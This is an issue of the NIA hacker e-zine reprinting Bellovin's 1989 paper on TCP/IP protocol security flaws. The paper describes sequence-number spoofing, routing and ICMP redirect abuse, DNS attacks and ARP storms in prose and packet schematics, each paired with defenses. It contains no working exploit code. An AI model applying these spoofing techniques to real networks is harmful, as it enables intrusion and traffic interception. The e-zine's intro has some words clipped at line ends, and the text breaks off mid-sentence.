```
   Founded By:     |  _                        _______
 Guardian Of Time  |  __      N.I.A.    _     ___    ___  Are you on any
   Judge Dredd     |  ____     ___     ___   ___    ___ you on Bitnet,
-------------------+  _____    ___     ___   ___    ___  Compuserve, M
  \           /       ___ ___  ___     ___   ___________  Sprintmail, A
   +---------+        ___  ___ ___     ___   ___________    Easynet, Mi
   | 05MON18 |        ___  ______      ___   ___    ___     FidoNet, et
   | File 74 |        ___   _____      ___   ___    ___ If so please d
   +---------+             ____     _    __     ___          line at
                            ___          _      ___     nia@nuchat.sc
     Internal Affairs BBS    __    NIA074
                              _    Network Information Access
                                     Ignorance, There's No Excuse.
```

NIA Issue 074 Volume 2

"I didn't invent the Unix security problem. I just optimized it.

Greetings. This newsletter is published on a non-regular basi is only a hobby by the editors, not a job. No responsibility is taken the editors for this newsletter, all of that and the credit goes to th contributers. We are changing format again to go with the changing ti First of all, there will be NO news unless it is first hand accounts o If you want news, there are plenty of other electronic 'zines and more efficient ways of getting it than to wait for an NIA issue to come out Second, the articles are going to be getting technical. There is only so many intro/basics we can publish/re-print.

We are looking for contributions. All articles submitted must regular format for the magazine. There is a one month review time for article to be chosen. There is an additional one month revise time if article is chosen. We do keep copies of everything that is sent to us it is not published in the immediate issue than it could be published later issue (in which case you will be notified). The readers make th magazine, so if you want to see better issues then do some research an send us reports.

=-

NIA074 / File 02

Security Problems in the TCP/IP Protocol Suite

Part I of II

S.M. Bellovin

AT&T Bell Laboratories

ABSTRACT

The TCP/IP protocol suite, which is very widely used today, was developed under the sponsorship of the Department of Defense. Despite that, there are a number of serious security flaws inherent in the protocols, regardless of the correctness of any implementations. We describe a variety of attacks based on these flaws, including sequence number spoofing, routing attacks, source address spoofing, and authentication attacks. We also present defenses against these attacks, and conclude with a discussion of broad-spectrum defenses such as encryption.

1. INTRODUCTION

The TCP/IP protocol suite[1][2], which is very widely used today, was developed under the sponsorship of the Department of Defense. Despite that, there are a number of serious security flaws inherent in the protocols. Some of these flaws exist because hosts rely on IP source address for authentication; the Berkeley "r-utilities"[3] are a notable example. Others exist because network control mechanisms, and in particular routing protocols, have minimal or non-existent authentication.

When describing such attacks, our basic assumption is that the attacker has more or less complete control over some machine connected to the Internet. This may be due to flaws in that machine's own protection mechanisms, or it may be

---

* Author's address: Room 3C-536B AT&T Bell Laboratories, 600 Mountain Avenue, Murray Hill, New Jersey 07974.

Reprinted from Computer Communication Review Vol. 19 No. 2, p.32-48, April 1989.

because that machine is a microcomputer, and inherently unprotected. Indeed, the attacker may even be a rogue system administrator.

1.1 Exclusions

We are not concerned with flaws in particular implementations of the protocols, such as those used by the Internet "worm"[4][5][6]. Rather, we discuss generic problems with the protocols themselves. As will be seen, careful implementation techniques can alleviate or prevent some of these problems. Some of the protocols we discuss are derived from Berkeley's version of the UNIXr system; others are generic Internet protocols.

We are also not concerned with classic network attacks, such as physical eavesdropping, or altered or injected messages. We discuss such problems only in so far as they are facilitated or possible because of protocol problems.

For the most part, there is no discussion here of vendor-specific protocols. We do discuss some problems with Berkeley's protocols, since these have become de facto standards for many vendors, and not just for UNIX systems.

2. TCP SEQUENCE NUMBER PREDICTION

One of the more fascinating security holes was first described by Morris[7]. Briefly, he used TCP sequence number prediction to construct a TCP packet sequence without ever receiving any responses from the server. This allowed him to spoof a trusted host on a local network.

The normal TCP connection establishment sequence involves a 3-way handshake. The client selects and transmits an initial sequence number ISNC, the server acknowledges it and sends its own sequence number ISNS, and the client acknowledges that. Following those three messages, data transmission may take place. The exchange may be shown schematically as follows:

```
C->S:SYN(ISNC)
S->C:SYN(ISNS),ACK(ISNC)
C->S:ACK(ISNS)
C->S:data
     and/or
S->C:data
```

That is, for a conversation to take place, C must first hear ISNS, a more or less random number.

Suppose, though, that there was a way for an intruder X to predict ISNS. In that case, it could send the following sequence to impersonate trusted host T:

```
X->S:SYN(ISNX),SRC=T
S->T:SYN(ISNS),ACK(ISNX)
X->S:ACK(ISNS),SRC=T
X->S:ACK(ISNS),SRC=T,nasty-data
```

Even though the message S->T does not go to X, X was able to know its contents, and hence could send data. If X were to perform this attack on a connection that allows command execution (i.e., the Berkeley rsh server), malicious commands could be executed.

How, then, to predict the random ISN? In Berkeley systems, the initial sequence number variable is incremented by a constant amount once per second, and by half that amount each time a connection is initiated. Thus, if one initiates a legitimate connection and observes the ISNS used, one can calculate, with a high degree of confidence, ISNS' used on the next connection attempt.

Morris points out that the reply message

```
S->T:SYN(ISNS),ACK(ISNX)
```

does not in fact vanish down a black hole; rather, the real host T will receive it and attempt to reset the connection. This is not a serious obstacle. Morris found that by impersonating a server port on T, and by flooding that port with apparent connection requests, he could generate queue overflows that would make it likely that the S->T message would be lost. Alternatively, one could wait until T was down for routine maintenance or a reboot.

A variant on this TCP sequence number attack, not described by Morris, exploits the netstat[8] service. In this attack, the intruder impersonates a host that is down. If netstat is available on the target host, it may supply the necessary sequence number information on another port; this eliminates all need to guess1.

---

1. The netstat protocol is obsolete, but is still present on some Internet hosts. Security concerns were not

Defenses

Obviously, the key to this attack is the relatively coarse rate of change of the initial sequence number variable on Berkeley systems. The TCP specification requires that this variable be incremented approximately 250,000 times per second; Berkeley is using a much slower rate. However, the critical factor is the granularity, not the average rate. The change from an increment of 128 per second in 4.2BSD to 125,000 per second in 4.3BSD is meaningless, even though the latter is within a factor of two of the specified rate.

Let us consider whether a counter that operated at a true 250,000 hz rate would help. For simplicity's sake, we will ignore the problem of other connections occurring, and only consider the fixed rate of change of this counter.

To learn a current sequence number, one must send a SYN packet, and receive a response, as follows:

```
X->S: SYN(ISNX)
S->X: SYN(ISNS),ACK(ISNX)
```

The first spoof packet, which triggers generation of the next sequence number, can immediately follow the server's response to the probe packet:

```
X->S: SYN(ISNX),SRC=T
```

The sequence number ISNS used in the response

```
S->T: SYN(ISNS),ACK(ISNX)
```

is uniquely determined by the time between the origination of message (0) and the receipt at the server of message (0). But this number is precisely the round-trip time between X and S. Thus, if the spoofer can accurately measure (and predict) that time, even a 4-second clock will not defeat this attack.

How accurately can the trip time be measured? If we assume that stability is good, we can probably bound it within 10 milliseconds or so. Clearly, the Internet does not exhibit such stability over the long-term[9], but it is often good enough over the short term.2 There is thus an uncertainty of

---

behind its elimination.

2500 in the possible value for ISNS. If each trial takes 5 seconds, to allow time to re-measure the round-trip time, an intruder would have a reasonable likelihood of succeeding in 7500 seconds, and a near-certainty within a day. More predictable (i.e., higher quality) networks, or more accurate measurements, would improve the odds even further in the intruder's favor. Clearly, simply following the letter of the TCP specification is not good enough.

We have thus far tacitly assumed that no processing takes places on the target host. In fact, some processing does take place when a new request comes in; the amount of variability in this processing is critical. On a 6 MIPS machine, one tick -- 4 M-seconds -- is about 25 instructions. There is thus considerable sensitivity to the exact instruction path followed. High-priority interrupts, or a slightly different TCB allocation sequence, will have a comparatively large effect on the actual value of the next sequence number. This randomizing effect is of considerable advantage to the target. It should be noted, though, that faster machines are more vulnerable to this attack, since the variability of the instruction path will take less real time, and hence affect the increment less. And of course, CPU speeds are increasing rapidly.

This suggests another solution to sequence number attacks: randomizing the increment. Care must be taken to use sufficient bits; if, say, only the low-order 8 bits were picked randomly, and the granularity of the increment was coarse, the intruder's work factor is only multiplied by 256. A combination of a fine-granularity increment and a small random number generator, or just a 32-bit generator, is better. Note, though, that many pseudo-random number generators are easily invertible[10]. In fact, given that most such generators work via feedback of their output, the enemy could simply compute the next "random" number to be picked. Some hybrid techniques have promise -- using a 32-bit generator, for example, but only emitting 16 bits of it -- but brute-force attacks could succeed at determining the seed. One would need at least 16 bits of random data in

---

2. At the moment, the Internet may not have such stability even over the short-term, especially on long-haul connections. It is not comforting to know that the security of a network relies on its low quality of service.

each increment, and perhaps more, to defeat probes from the network, but that might leave too few bits to guard against a search for the seed. More research or simulations are needed to determine the proper parameters.

Rather than go to such lengths, it is simpler to use a cryptographic algorithm (or device) for ISNS generation. The Data Encryption Standard[11] (DES) in electronic codebook mode[12] is an attractive choice as the ISNS source, with a simple counter as input. Alternatively, DES could be used in output feedback mode without an additional counter. Either way, great care must be taken to select the key used. The time-of-day at boot time is not adequate; sufficiently good information about reboot times is often available to an intruder, thereby permitting a brute-force attack. If, however, the reboot time is encrypted with a per-host secret key, the generator cannot be cracked with any reasonable effort.

Performance of the initial sequence number generator is not a problem. New sequence numbers are needed only once per connection, and even a software implementation of DES will suffice. Encryption times of 2.3 milliseconds on a 1 MIPS processor have been reported[13].

An additional defense involves good logging and alerting mechanisms. Measurements of the round-trip time -- essential for attacking RFC-compliant hosts -- would most likely be carried out using ICMP Ping messages; a "transponder" function could log excessive ping requests. Other, perhaps more applicable, timing measurement techniques would involve attempted TCP connections; these connections are conspicuously short-lived, and may not even complete SYN processing. Similarly, spoofing an active host will eventually generate unusual types of RST packets; these should not occur often, and should be logged.

3. THE JOY OF ROUTING

Abuse of the routing mechanisms and protocols is probably the simplest protocol-based attack available. There are a variety of ways to do this, depending on the exact routing protocols used. Some of these attacks succeed only if the remote host does source address-based authentication; others can be used for more powerful attacks.

A number of the attacks described below can also be used to accomplish denial of service by confusing the routing tables on a host or gateway. The details are straight-forward corollaries of the penetration mechanisms, and will not be described further.

3.1 Source Routing

If available, the easiest mechanism to abuse is IP source routing. Assume that the target host uses the reverse of the source route provided in a TCP open request for return traffic. Such behavior is utterly reasonable; if the originator of the connection wishes to specify a particular path for some reason -- say, because the automatic route is dead -- replies may not reach the originator if a different path is followed.

The attacker can then pick any IP source address desired, including that of a trusted machine on the target's local network. Any facilities available to such machines become available to the attacker.

Defenses
It is rather hard to defend against this sort of attack. The best idea would be for the gateways into the local net to reject external packets that claim to be from the local net. This is less practical than it might seem since some Ethernet[3] network adapters receive their own transmissions, and this feature is relied upon by some higher-level protocols. Furthermore, this solution fails completely if an organization has two trusted networks connected via a multi-organization backbone. Other users on the backbone may not be trustable to the same extent that local users are presumed to be, or perhaps their vulnerability to outside attack is higher. Arguably, such topologies should be avoided in any event.

A simpler method might be to reject pre-authorized connections if source routing information was present. This presumes that there are few legitimate reasons for using this IP option, especially for relatively normal operations. A variation on this defense would be to analyze the source route and accept it if only trusted gateways were listed; that way, the final gateway could be counted on to deliver the packet only to the true destination host. The complexity of this idea is probably not worthwhile.

---

3. Ethernet is a registered trademark of Xerox Corporation.

Some protocols (i.e., Berkeley's rlogin and rsh) permit ordinary users to extend trust to remote host/user combinations. In that case, individual users, rather than an entire system, may be targeted by source routing attacks.[4] Suspicious gateways[14] will not help here, as the host being spoofed may not be within the security domain protected by the gateways.

3.2 Routing Attacks

The Routing Information Protocol[15] (RIP) is used to propagate routing information on local networks, especially broadcast media. Typically, the information received is unchecked. This allows an intruder to send bogus routing information to a target host, and to each of the gateways along the way, to impersonate a particular host. The most likely attack of this sort would be to claim a route to a particular unused host, rather than to a network; this would cause all packets destined for that host to be sent to the intruder's machine. (Diverting packets for an entire network might be too noticeable; impersonating an idle work-station is comparatively risk-free.) Once this is done, protocols that rely on address-based authentication are effectively compromised.

This attack can yield more subtle, and more serious, benefits to the attacker as well. Assume that the attacker claims a route to an active host or workstation instead. All packets for that host will be routed to the intruder's machine for inspection and possible alteration. They are then resent, using IP source address routing, to the intended destination. An outsider may thus capture passwords and other sensitive data. This mode of attack is unique in that it affects outbound calls as well; thus, a user calling out from the targeted host can be tricked into divulging a password. Most of the earlier attacks discussed are used to forge a source address; this one is focused on the destination address.

---

4. Permitting ordinary users to extend trust is probably wrong in any event, regardless of abuse of the protocols. But such concerns are beyond the scope of this paper.

Defenses

A RIP attack is somewhat easier to defend against than the source-routing attacks, though some defenses are similar. A paranoid gateway -- one that filters packets based on source or destination address -- will block any form of host-spoofing (including TCP sequence number attacks), since the offending packets can never make it through. But there are other ways to deal with RIP problems.

One defense is for RIP to be more skeptical about the routes it accepts. In most environments, there is no good reason to accept new routes to your own local networks. A router that makes this check can easily detect intrusion attempts. Unfortunately, some implementations rely on hearing their own broadcasts to retain their knowledge of directly-attached networks. The idea, presumably, is that they can use other networks to route around local outages. While fault-tolerance is in general a good idea, the actual utility of this technique is low in many environments compared with the risks.

It would be useful to be able to authenticate RIP packets; in the absence of inexpensive public-key signature schemes, this is difficult for a broadcast protocol. Even if it were done, its utility is limited; a receiver can only authenticate the immediate sender, which in turn may have been deceived by gateways further upstream.

Even if the local routers don't implement defense mechanisms, RIP attacks carry another risk: the bogus routing entries are visible over a wide area. Any router (as opposed to host) that receives such data will rebroadcast it; a suspicious administrator almost anywhere on the local collection of networks could notice the anomaly. Good log generation would help, but it is hard to distinguish a genuine intrusion from the routing instability that can accompany a gateway crash.

3.3 Exterior Gateway Protocol

The Exterior Gateway Protocol (EGP)[16] is intended for communications between the core gateways and so-called exterior gateways. An exterior gateway, after going through a neighbor acquisition protocol, is periodically polled by the core; it responds with information about the networks it serves. These networks must all be part of its autonomous system. Similarly, the gateway periodically requests routing information from the core gateway. Data is not normally sent except in response to a poll; furthermore, since each poll carries a sequence number that must be echoed by the response, it is rather difficult for an intruder to inject a false route update. Exterior gateways are allowed to send exactly one spontaneous update between any two polls; this, too, must carry the sequence number of the last poll received. It is thus comparatively difficult to interfere in an on-going EGP conversation.

One possible attack would be to impersonate a second exterior gateway for the same autonomous system. This may not succeed, as the core gateways could be equipped with a list of legitimate gateways to each autonomous system. Such checks are not currently done, however. Even if they were, they could be authenticated only by source IP address.

A more powerful attack would be to claim reachability for some network where the real gateway is down. That is, if gateway G normally handles traffic for network N, and G is down, gateway G' could advertise a route to that network. This would allow password capture by assorted mechanisms. The main defense against this attack is topological (and quite restrictive): exterior gateways must be on the same network as the core; thus, the intruder would need to subvert not just any host, but an existing gateway or host that is directly on the main net.

A sequence number attack, similar to those used against TCP, might be attempted; the difficulty here is in predicting what numbers the core gateway is using. In TCP, one can establish arbitrary connections to probe for information; in EGP, only a few hosts may speak to the core. (More accurately, the core could only speak to a few particular hosts, though as noted such checks are not currently implemented.) It may thus be hard to get the raw data needed for such an attack.

3.4 The Internet Control Message Protocol

The Internet Control Message Protocol (ICMP)[17] is the basic network management tool of the TCP/IP protocol suite. It would seem to carry a rich potential for abuse. Surprisingly, ICMP attacks are rather difficult; still, there are often holes that may be exploited.

The first, and most obvious target, is the ICMP Redirect message; it is used by gateways to advise hosts of better routes. As such it can often be abused in the same way that RIP can be. The complication is that a Redirect message must be tied to a particular, existing connection; it cannot be used to make an unsolicited change to the host's routing tables. Furthermore, Redirects are only applicable within a limited topology; they may be sent only from the first gateway along the path to the originating host. A later gateway may not advise that host, nor may it use ICMP Redirect to control other gateways.

Suppose, though, that an intruder has penetrated a secondary gateway available to a target host, but not the primary one. (It may suffice to penetrate an ordinary host on the target's local network, and have it claim to be a gateway.) Assume further that the intruder wishes to set up a false route to trusted host T through that compromised secondary gateway. The following sequence may then be followed. Send a false TCP open packet to the target host, claiming to be from T. The target will respond with its own open packet, routing it through the secure primary gateway. While this is in transit, a false Redirect may be sent, claiming to be from the primary gateway, and referring to the bogus connection. This packet will appear to be a legitimate control message; hence the routing change it contains will be accepted. If the target host makes this change to its global routing tables, rather than just to the per-connection cached route, the intruder may proceed with spoofing host T.

Some hosts do not perform enough validity checks on ICMP Redirect messages; in such cases, the impact of this attack becomes similar to RIP-based attacks.

ICMP may also be used for targeted denial of service attacks. Several of its messages, such as Destination Unreachable and Time to Live Exceeded, may be used to reset existing connections. If the intruder knows the local and remote port numbers of a TCP connection, an ICMP packet aimed at that connection may be forged5. Such information is sometimes available through the netstat service.

A more global denial of service attack can be launched by sending a fraudulent Subnet Mask Reply message. Some hosts will accept any such message, whether they have sent a query or not; a false one could effectively block all communications with the target host.

5. In fact, such programs are available today; they are used as administrative tools to reset hung TCP connections.

Defenses

Most ICMP attacks are easy to defend against with just a modicum of paranoia. If a host is careful about checking that a message really does refer to a particular connection, most such attacks will not succeed. In the case of TCP, this includes verifying that the ICMP packet contains a plausible sequence number in the returned-packet portion. These checks are less applicable to UDP, though.

A defense against Redirect attacks merits additional attention, since such attacks can be more serious. Probably, the best option is to restrict route changes to the specified connection; the global routing table should not be modified in response to ICMP Redirect messages6.

Finally, it is worth considering whether ICMP Redirects are even useful in today’s environment. They are only usable on local networks with more than one gateway to the outside world. But it is comparatively easy to maintain complete and correct local routing information. Redirect messages would be most useful from the core gateways to local exterior gateways, as that would allow such local gateways to have less than complete knowledge of the Internet; this use is disallowed, however.

Subnet Mask attacks can be blocked if the Reply packet is honored only at the appropriate time. In general, a host wants to see such a message only at boot time, and only if it had issued a query; a stale reply, or an unsolicited reply, should be rejected out of hand. There is little defense against a forged reply to a genuine Subnet Mask query, as a host that has sent such a query typically has few resources with which to validate the response. If the genuine response is not blocked by the intruder, though, the target will receive multiple replies; a check to ensure that all replies agree would guard against administrative errors as well.

---

6. This has other benefits as well, especially in environments where ICMP-initiated route changes are not timed out. The author has seen situations where RIP instability following a gateway crash has led to erroneous ICMP Redirect messages. These had the effect of permanently corrupting the routing tables on other hosts.

4. THE "AUTHENTICATION" SERVER

As an alternative to address-based authentication, some implementations use the Authentication Server[18]. A server that wishes to know the identity of its client may contact the client host's Authentication Server7, and ask it for information about the user owning a particular connection. This method is inherently more secure than simple address-based authentication, as it uses a second TCP connection not under control of the attacker. It thus can defeat sequence number attacks and source routing attacks. There are certain risks, however.

The first, and most obvious, is that not all hosts are competent to run authentication servers. If the client host is not secure, it does not matter who the user is claimed to be; the answer cannot be trusted. Second, the authentication message itself can be compromised by routing table attacks. If RIP has been used to alter the target's idea of how to reach some host, the authentication query will rely on the same altered routing data. Finally, if the target host is down, a variant on the TCP sequence number attack may be used; after the server sends out a TCP open request to the presumed authentication server, the attacker can complete the open sequence and send a false reply. If the target runs a netstat server, this is even easier; as noted, netstat will often supply the necessary sequence numbers with no need to guess.

A less-obvious risk is that a fake authentication server can always reply "no". This constitutes a denial of service attack.

Defenses
A server that wishes to rely on another host's idea of a user should use a more secure means of validation, such as the Needham-Schroeder algorithm[20][21][22]. TCP by itself is inadequate.

---

7. The Internet Activities Board does not currently recommend the Authentication Server for implementation[19]. However, the decision was not made because of security problems[5].

5. HERE BE DRAGONS

Some protocols, while not inherently flawed, are nevertheless susceptible to abuse. A wise implementor would do well to take these problems into account when providing the service.

5.1 The "Finger" Service

Many systems implement a finger service[23]. This server will display useful information about users, such as their full names, phone numbers, office numbers, etc. Unfortunately, such data provides useful grist for the mill of a password cracker.[24] By running such a service, a system administrator is giving away this data.

5.2 Electronic Mail

Electronic mail is probably the most valuable service on the Internet. Nevertheless, it is quite vulnerable to misuse. As normally implemented[25][26], the mail server provides no authentication mechanisms. This leaves the door wide open to faked messages. RFC 822 does support an Encrypted header line, but this is not widely used. (However, see RFC 1040[27] for a discussion of a proposed new encryption standard for electronic mail.)

5.2.1 The Post Office Protocol

The The Post Office Protocol (POP)[28] allows a remote user to retrieve mail stored on a central server machine. Authentication is by means of a single command containing both the user name and the password. However, combining the two on a single command mandates the use of conventional passwords. And such passwords are becoming less popular; they are too vulnerable to wire-tappers, intentional or accidental disclosure, etc.

As an alternative, many sites are adopting "one-time passwords"8. With one-time passwords, the host and some device available to the user share a cryptographic key. The host issues a random challenge; both sides encrypt this number, and the user transmits it back to the host. Since

8. One-time passwords were apparently first used for military IFF (Identification Friend or Foe) systems[29].

the challenge is random, the reply is unique to that session, thereby defeating eavesdroppers. And since the user does not know the key -- it is irretrievably stored in the device -- the password cannot be given away without depriving the user of the ability to log in.

The newest version of POP[30] has split the user name and password into two commands, which is useful. However, it also defines an optional mechanism for preauthenticated connections, typically using Berkeley's mechanisms. Commendably, the security risks of this variant are mentioned explicitly in the document.

5.2.2 PCMAIL

The PCMAIL protocol[31] uses authentication mechanisms similar to those in POP2. In one major respect, PCMAIL is more dangerous: it supports a password-change command. This request requires that both the old and new passwords be transmitted unencrypted.

5.3 The Domain Name System

The Domain Name System (DNS)[32][33] provides for a distributed database mapping host names to IP addresses. An intruder who interferes with the proper operation of the DNS can mount a variety of attacks, including denial of service and password collection. There are a number of vulnerabilities.

In some resolver implementations, it is possible to mount a sequence number attack against a particular user. When the target user attempts to connect to a remote machine, an attacker can generate a domain server response to the target's query. This requires knowing both the UDP port used by the client's resolver and the DNS sequence number used for the query. The latter is often quite easy to obtain, though, since some resolvers always start their sequence numbers with 0. And the former may be obtainable via netstat or some analogous host command.

A combined attack on the domain system and the routing mechanisms can be catastrophic. The intruder can intercept virtually all requests to translate names to IP addresses, and supply the address of a subverted machine instead; this would allow the intruder to spy on all traffic, and build a nice collection of passwords if desired.

For this reason, domain servers are high-value targets; a sufficiently determined attacker might find it useful to take over a server by other means, including subverting the machine one is on, or even physically interfering with its link to the Internet. There is no network defense against the former, which suggests that domain servers should only run on highly secure machines; the latter issue may be addressed by using authentication techniques on domain server responses.

The DNS, even when functioning correctly, can be used for some types of spying. The normal mode of operation of the DNS is to make specific queries, and receive specific responses. However, a zone transfer (AXFR) request exists that can be used to download an entire section of the database; by applying this recursively, a complete map of the name space can be produced. Such a database represents a potential security risk; if, for example, an intruder knows that a particular brand of host or operating system has a particular vulnerability, that database can be consulted to find all such targets. Other uses for such a database include espionage; the number and type of machines in a particular organization, for example, can give away valuable data about the size of the organization, and hence the resources committed to a particular project.

Fortunately, the domain system includes an error code for "refused"; an administrative prohibition against such zone transfers is explicitly recognized as a legitimate reason for refusal. This code should be employed for zone transfer requests from any host not known to be a legitimate secondary server. Unfortunately, there is no authentication mechanism provided in the AXFR request; source address authentication is the best that can be done.

Recently, a compatible authentication extension to the DNS has been devised at M.I.T. The Hesiod name server[34] uses Kerberos[35] tickets to authenticate queries and responses. The additional information section of the query carries an encrypted ticket, which includes a session key; this key, known only to Hesiod and the client, is used to compute a cryptographic checksum of the both the query and the response. These checksums are also sent in the additional information field.

=-

=-

NIA074 / File 03

Security Problems in the TCP/IP Protocol Suite

Part II of II

S.M. Bellovin

AT&T Bell Laboratories

5.4 The File Transfer Protocol

The File Transfer Protocol (FTP)[36] itself is not flawed. However, a few aspects of the implementation merit some care.

5.4.1 FTP Authentication

FTP relies on a login and password combination for authentication. As noted, simple passwords are increasingly seen as inadequate; more and more sites are adopting one-time passwords. Nothing in the FTP specification precludes such an authentication method. It is vital, however, that the "331" response to a USER subcommand be displayed to the user; this message would presumably contain the challenge. An FTP implementation that concealed this response could not be used in this mode; if such implementations are (or become) common, it may be necessary to use a new reply code to indicate that the user must see the content of the challenge.

5.4.2 Anonymous FTP

A second problem area is "anonymous FTP". While not required by the FTP specification, anonymous FTP is a treasured part of the oral tradition of the Internet. Nevertheless, it should be implemented with care.

One part of the problem is the implementation technique chosen. Some implementations of FTP require creation of a partial replica of the directory tree; care must be taken to ensure that these files are not subject to compromise. Nor should they contain any sensitive information, such as encrypted passwords.

The second problem is that anonymous FTP is truly anonymous;

there is no record of who has requested what information. Mail-based servers will provide that data; they also provide useful techniques for load-limiting9, background transfers, etc.

5.5 Simple Network Management Protocol

The Simple Network Management Protocol (SNMP)[37] has recently been defined to aid in network management. Clearly, access to such a resource must be heavily protected. The RFC states this, but also allows for a null authentication service; this is a bad idea. Even a "read-only" mode is dangerous; it may expose the target host to netstat-type attacks if the particular Management Information Base (MIB)[38] used includes sequence numbers. (The current standardized version does not; however, the MIB is explicitly declared to be extensible.)

9. Recently, a host was temporarily rendered unusable by massive numbers of FTP requests for a popular technical report. If this were deliberate, it would be considered a successful denial of service attack.

5.6 Remote Booting

Two sets of protocols are used today to boot diskless workstations and gateways, Reverse ARP (RARP)[39] with the Trivial File Transfer Protocol (TFTP)[40] and BOOTP[41] with TFTP. A system being booted is a tempting target; if one can subvert the boot process, a new kernel with altered protection mechanisms can be substituted. RARP-based booting is riskier because it relies on Ethernet-like networks, with all the vulnerabilities adhering thereto. One can achieve a modest improvement in security by ensuring that the booting machine uses a random number for its UDP source port; otherwise, an attacker can impersonate the server and send false DATA packets.

BOOTP adds an additional layer of security by including a 4-byte random transaction id. This prevents an attacker from generating false replies to a workstation known to be rebooting. It is vital that these numbers indeed be random; this can be difficult in a system that is freshly powered up, and hence with little or no unpredictable state. Care should be taken when booting through gateways; the more networks traversed, the greater the opportunity for impersonation.

The greatest measure of protection is that normally, the attacker has only a single chance; a system being booted does not stay in that state. If, however, communications between the client and the standard server may be interrupted, larger-scale attacks may be mounted.

6. TRIVIAL ATTACKS

A few attacks are almost too trivial to mention; nevertheless, completeness demands that they at least be noted.

6.1 Vulnerability of the Local Network

Some local-area networks, notably the Ethernet networks, are extremely vulnerable to eavesdropping and host-spoofing. If such networks are used, physical access must be strictly controlled. It is also unwise to trust any hosts on such networks if any machine on the network is accessible to untrusted personnel, unless authentication servers are used.

If the local network uses the Address Resolution Protocol (ARP)[42] more subtle forms of host-spoofing are possible. In particular, it becomes trivial to intercept, modify, and forward packets, rather than just taking over the host's role or simply spying on all traffic.

It is possible to launch denial of service attacks by triggering broadcast storms. There are a variety of ways to do this; it is quite easy if most or all of the hosts on the network are acting as gateways. The attacker can broadcast a packet destined for a non-existent IP address. Each host, upon receiving it, will attempt to forward it to the proper destination. This alone will represent a significant amount of traffic, as each host will generate a broadcast ARP query for the destination. The attacker can follow up by broadcasting an ARP reply claiming that the broadcast Ethernet address is the proper way to reach that destination. Each suspectible host will then not only resend the bogus packet, it will also receive many more copies of it from the other suspectible hosts on the network.

6.2 The Trivial File Transfer Protocol

TFTP[40] permits file transfers without any attempt at authentication. Thus, any publicly-readable file in the entire universe is accessible. It is the responsibility of the implementor and/or the system administrator to make that universe as small as possible.

6.3 Reserved Ports

Berkeley-derived TCPs and UDPs have the notion of a "privileged port". That is, port numbers lower than 1024 may only be allocated to privileged processes. This restriction is used as part of the authentication mechanism. However, neither the TCP nor the UDP specifications contain any such concept, nor is such a concept even meaningful on a single-user computer. Administrators should never rely on the Berkeley authentication schemes when talking to such machines.

7. COMPREHENSIVE DEFENSES

Thus far, we have described defenses against a variety of individual attacks. Several techniques are broad-spectrum defenses; they may be employed to guard against not only these attacks, but many others as well.

7.1 Authentication

Many of the intrusions described above succeed only because the target host uses the IP source address for authentication, and assumes it to be genuine. Unfortunately, there are sufficiently many ways to spoof this address that such techniques are all but worthless. Put another way, source address authentication is the equivalent of a file cabinet secured with an S100 lock; it may reduce the temptation level for more-or-less honest passers-by, but will do little or nothing to deter anyone even slightly serious about gaining entry.

Some form of cryptographic authentication is needed. There are several possible approaches. Perhaps the best-known is the Needham-Schroeder algorithm[20][21][22]. It relies on each host sharing a key with an authentication server; a host wishing to establish a connection obtains a session key from the authentication server and passes a sealed version along to the destination. At the conclusion of the dialog, each side is convinced of the identity of the other. Versions of the algorithm exist for both private-key and public-key[43] cryptosystems.

How do these schemes fit together with TCP/IP? One answer is obvious: with them, preauthenticated connections can be implemented safely; without them, they are quite risky. A second answer is that the DNS provides an ideal base for authentication systems, as it already incorporates the necessary name structure, redundancy, etc. To be sure, key distribution responses must be authenticated and/or encrypted; as noted, the former seems to be necessary in any event.

In some environments, care must be taken to use the session key to encrypt the entire conversation; if this is not done, an attacker can take over a connection via the mechanisms described earlier.

7.2 Encryption

Suitable encryption can defend against most of the attacks outlined above. But encryption devices are expensive, often slow, hard to administer, and uncommon in the civilian sector. There are different ways to apply encryption; each has its strengths and weaknesses. A comprehensive treatment of encryption is beyond the scope of this paper; interested readers should consult Voydock and Kent[44] or Davies and Price[45].

Link-level encryption -- encrypting each packet as it leaves the host computer -- is an excellent method of guarding against disclosure of information. It also works well against physical intrusions; an attacker who tapped in to an Ethernet cable, for example, would not be able to inject spurious packets. Similarly, an intruder who cut the line to a name server would not be able to impersonate it. The number of entities that share a given key determines the security of the network; typically, a key distribution center will allocate keys to each pair of communicating hosts.

Link-level encryption has some weaknesses, however. Broadcast packets are difficult to secure; in the absence of fast public-key cryptosystems, the ability to decode an encrypted broadcast implies the ability to send such a broadcast, impersonating any host on the network. Furthermore, link-level encryption, by definition, is not end-to-end; security of a conversation across gateways implies trust in the gateways and assurance that the full concatenated internet is similarly protected. (This latter constraint may be enforced administratively, as is done in the military sector.) If such constraints are not met, tactics such as source-routing attacks or RIP-spoofing may be employed. Paranoid gateways can be deployed at the entrance to security domains; these might, for example, block incoming RIP packets or source-routed packets.

Many portions of the DARPA Internet employ forms of link encryption. All Defense Data Network (DDN) IMP-to-IMP trunks use DES encryption, even for non-classified traffic; classified lines use more secure cryptosystems[46]. These, however, are point-to-point lines, which are comparatively easy to protect.

A multi-point link encryption device for TCP/IP is the Blacker Front End (BFE)[47]. The BFE looks to the host like an X.25 DDN interface, and sits between the host and the actual DDN line. When it receives a call request packet specifying a new destination, it contacts an Access Control Center (ACC) for permission, and a Key Distribution Center (KDC) for cryptographic keys. If the local host is denied permission to talk to the remote host, an appropriate diagnostic code is returned. A special "Emergency Mode" is available for communications to a restricted set of destinations at times when the link to the KDC or ACC is not working.

The permission-checking can, to some extent, protect against the DNS attacks described earlier. Even if a host has been mislead about the proper IP address for a particular destination, the BFE will ensure that a totally unauthorized host does not receive sensitive data. That is, assume that a host wishes to send Top Secret data to some host foo. A DNS attack might mislead the host into connecting to penetrated host 4.0.0.4, rather than 1.0.0.1. If 4.0.0.4 is not cleared for Top Secret material, or is not allowed communications with the local host, the connection attempt will fail. To be sure, a denial of service attack has taken place; this, in the military world, is far less serious than information loss.

The BFE also translates the original ("Red") IP address to an encrypted ("Black") address, using a translation table supplied by the ACC. This is done to foil traffic analysis techniques, the bane of all multi-point link encryption schemes.

End-to-end encryption, above the TCP level, may be used to secure any conversation, regardless of the number of hops or the quality of the links. This is probably appropriate for centralized network management applications, or other point-to-point transfers. Key distribution and management is a greater problem, since there are more pairs of correspondents involved. Furthermore, since encryption and decryption are done before initiation or after termination of the TCP processing, host-level software must arrange for the translation; this implies extra overhead for each such conversation10.

End-to-end encryption is vulnerable to denial of service attacks, since fraudulently-injected packets can pass the

---

